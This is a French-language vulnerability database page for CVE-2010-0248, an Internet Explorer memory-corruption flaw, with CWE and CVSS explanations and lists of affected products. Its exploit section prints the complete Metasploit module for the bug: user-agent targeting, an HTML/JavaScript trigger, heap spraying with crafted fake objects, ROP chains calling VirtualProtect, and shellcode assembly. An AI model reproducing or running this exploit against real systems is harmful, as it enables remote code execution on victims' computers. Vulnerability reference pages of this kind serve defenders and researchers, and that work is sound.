CVE-2010-0248 : Détail

CVE-2010-0248

8.1
/
Haute
Code InjectionMemory Corruption
A03-Injection
97.31%V3
Network
2010-01-22
20h20 +00:00
2024-10-21
16h43 +00:00
CVE.org
NVD
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Descriptions du CVE

Microsoft Internet Explorer 6, 6 SP1, 7, and 8 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by accessing an object that (1) was not properly initialized or (2) is deleted, leading to memory corruption, aka "HTML Object Memory Corruption Vulnerability."

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 8.1 HIGH CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 134c704f-9b21-4f2e-91b3-4a467353bcc0
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 18642

Date de publication : 2012-03-21 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "MS10-002 Internet Explorer Object Memory Use-After-Free", 'Description' => %q{ This module exploits a vulnerability found in Internet Explorer's mshtml component. Due to the way IE handles objects in memory, it is possible to cause a pointer in CTableRowCellsCollectionCacheItem::GetNext to be used even after it gets freed, therefore allowing remote code execution under the context of the user. This particular vulnerability was also one of 2012's Pwn2Own challenges, and was later explained by Peter Vreugdenhil with exploitation details. Instead of Peter's method, this module uses heap spraying like the 99% to store a specially crafted memory layout before re-using the freed memory. }, 'License' => MSF_LICENSE, 'Author' => [ 'Peter Vreugdenhil', # Vulnerability discovery and exploit writeup 'juan vazquez', # Metasploit 'sinn3r' # Metasploit ], 'References' => [ [ 'MSB', 'MS10-002'], [ 'CVE', '2010-0248' ], [ 'OSVDB', '61914'], [ 'URL', 'http://dvlabs.tippingpoint.com/blog/2012/03/15/pwn2own-2012-challenge-writeup' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-014/'] ], 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'DisableNops' => true }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f', }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 }, ], [ 'IE 8 on Windows 7 SP0', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7c348b05 } ] ], 'Privileged' => false, 'DisclosureDate' => "Jan 21 2010", 'DefaultTarget' => 0)) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ return targets[1] #IE 8 on Windows XP SP3 elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/ return targets[2] #IE 8 on Windows 7 SP1 with JRE else return nil end end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}") send_not_found(cli) return end js_code = build_javascript(my_target) html = %Q| <html> <head> <script> #{js_code} </script> </head> <body onLoad="window.setTimeout(Start,100);" id="bodyid"> <table id="tableid"> <tr><th id="thid"></th></tr> <tr id="trid"><td id="tdid"></td></tr> </table> </body> </html> | print_status("#{cli.peerhost}:#{cli.peerport} - Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end def build_javascript(my_target) p = get_payload(my_target) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) # The exploit will try to take up the freed memory # with a fake item before the reuse fake_item = [ junk, junk, junk, junk, junk, junk, junk, junk, junk, junk, junk, junk, junk, junk, junk, junk, junk, 0x0c0c003c, # pointer to c_table_cell junk, junk, junk, 0x0c0c0050, # pointer to c_cache_item junk, junk, ].pack("V*") fake_item_js = Rex::Text.to_unescape(fake_item) # Here start the crafted layout of the memory # which will be sprayed to get code execution # IE 8 => Spray be sprayed into 0c0c0024 memory_layout = [ junk, junk, junk, junk, junk, junk, 0x0c0c0040, # ----- points to 0x0c0c0040 0x0c0c0c0c, # <---| 0x0c0c0c0c + 0x70: 0x0c0c0c7c will store the stackpivot with eax pointing to 0c0c0c0c junk, junk, 0x00000000, # Allows to bypass CTableCell::GetAAcolSpan junk, # Stored at 0c0c0c50 junk, junk, 0x0c0c0078, junk, junk, junk, junk, junk, 0x0c0c0c50, # <- Stored at 0c0c0074 (0x0c0c0078 - 4) 0x00000001 # Stored at 0c0c0078 (0c0c0050+28) # Allows to exit of CTableRowCellsCollectionCacheItem::GetNext faster ].pack("V*") memory_layout_js = Rex::Text.to_unescape(memory_layout) # Steps: # 1. Force the free. # 2. Try to reuse the freed memory with a fake item. # The fake item store crafted pointers to the # memory which will be sprayed on step 3. # 3. Heap Spray: Shellcode + crafted memory layout to # get execution flow when the memory freed in step 1 # is reused in step 4. # 4. Force the memory reuse. spray = <<-JS function Start() { var fake_items = unescape("#{fake_item_js}"); while (fake_items.length < 0x1000) fake_items+= fake_items; var fake_item = fake_items.substring(0, (96-6)/2); var code = unescape("#{js_code}"); var memory_layout = unescape("#{memory_layout_js}") var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']} - memory_layout.length); var shellcode = memory_layout + offset + code + nops.substring(0, 0x800-#{my_target['Offset']}-code.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block_shell = shellcode.substring(0, (0x80000-6)/2); var heap = new heapLib.ie(0x20000); var TableClone = document.getElementById('tableid').cloneNode(1); var TableCellUrns = TableClone.cells.urns('a'); var bla = TableClone.cells.item(1); var TableCellUrnsTags = TableCellUrns.tags('a'); TableClone.outerText = 'a'; heap.gc(); for(i = 0; i < 30; i++) { heap.alloc(fake_item); } for (var i=1; i < 0x1C2; i++) { heap.alloc(block_shell); } Result = TableClone.cells; Result = TableCellUrnsTags.item(1); } JS spray = heaplib(spray, {:noobfu => true}) return spray end def nop return make_nops(4).unpack("V").first end def junk(n=4) return rand_text_alpha(n).unpack("V").first end # ROP chain + shellcode will be sprayed at 0x0c0c0c0c def get_payload(t) # chain generated by mona.py - See corelan.be case t['Rop'] when :msvcrt rop = [ 0x77c4e392, # POP EAX # RETN 0x77c11120, # <- *&VirtualProtect() 0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN junk, 0x77c2dd6c, 0x77c4ec00, # POP EBP # RETN 0x77c35459, # ptr to 'push esp # ret' 0x77c47705, # POP EBX # RETN 0x00000800, # <- change size to mark as executable if needed (-> ebx) 0x77c3ea01, # POP ECX # RETN 0x77c5d000, # W pointer (lpOldProtect) (-> ecx) 0x77c46100, # POP EDI # RETN 0x77c46101, # ROP NOP (-> edi) 0x77c4d680, # POP EDX # RETN 0x00000040, # newProtect (0x40) (-> edx) 0x77c4e392, # POP EAX # RETN nop, # NOPS (-> eax) 0x77c12df9, # PUSHAD # RETN ].pack("V*") when :jre rop = [ 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0xfffffdff, # Value to negate, will become 0x00000201 (dwSize) 0x7c347f98, # RETN (ROP NOP) 0x7c3415a2, # JMP [EAX] 0xffffffff, 0x7c376402, # skip 4 bytes 0x7c351e05, # NEG EAX # RETN 0x7c345255, # INC EBX # FPATAN # RETN 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN 0x7c344f87, # POP EDX # RETN 0xffffffc0, # Value to negate, will become 0x00000040 0x7c351eb1, # NEG EDX # RETN 0x7c34d201, # POP ECX # RETN 0x7c38b001, # &Writable location 0x7c347f97, # POP EAX # RETN 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN 0x7c345c30, # ptr to 'push esp # ret ' ].pack("V*") end code = rop code << make_nops(38) code << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+0x6").encode_string # instr length: 2 bytes code << [t.ret].pack("V") # Stack Pivot code << payload.encoded return code end end =begin (694.cc0): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=00000100 ecx=0241f518 edx=7c90e4f4 esi=7c90d6d0 edi=ffffffff eip=7c8022cf esp=0241f534 ebp=0241f548 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 kernel32!WriteProcessMemory+0x6d: 7c8022cf cc int 3 =end

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 8

Microsoft>>Internet_explorer >> Version 8.0.6001

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_server_2003 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 7

Microsoft>>Internet_explorer >> Version 7.0

Microsoft>>Internet_explorer >> Version 7.0.5730

Microsoft>>Internet_explorer >> Version 7.0.5730.11

Microsoft>>Internet_explorer >> Version 7.00.5730.1100

Microsoft>>Internet_explorer >> Version 7.00.6000.16386

Microsoft>>Internet_explorer >> Version 7.00.6000.16441

Microsoft>>Windows_server_2003 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 6

Microsoft>>Windows_2000 >> Version *

Configuraton 0

Microsoft>>Internet_explorer >> Version 6

Microsoft>>Internet_explorer >> Version 6.0

Microsoft>>Internet_explorer >> Version 6.00.2462.0000

Microsoft>>Internet_explorer >> Version 6.00.2479.0006

Microsoft>>Internet_explorer >> Version 6.0.2600

Microsoft>>Internet_explorer >> Version 6.00.2600.0000

Microsoft>>Internet_explorer >> Version 6.0.2800

Microsoft>>Internet_explorer >> Version 6.0.2800.1106

Microsoft>>Internet_explorer >> Version 6.00.2800.1106

Microsoft>>Internet_explorer >> Version 6.0.2900

Microsoft>>Internet_explorer >> Version 6.0.2900.2180

Microsoft>>Internet_explorer >> Version 6.00.2900.2180

Microsoft>>Internet_explorer >> Version 6.00.3663.0000

Microsoft>>Internet_explorer >> Version 6.00.3718.0000

Microsoft>>Internet_explorer >> Version 6.00.3790.0000

Microsoft>>Internet_explorer >> Version 6.00.3790.1830

Microsoft>>Internet_explorer >> Version 6.00.3790.3959

Microsoft>>Windows_server_2003 >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version -

Références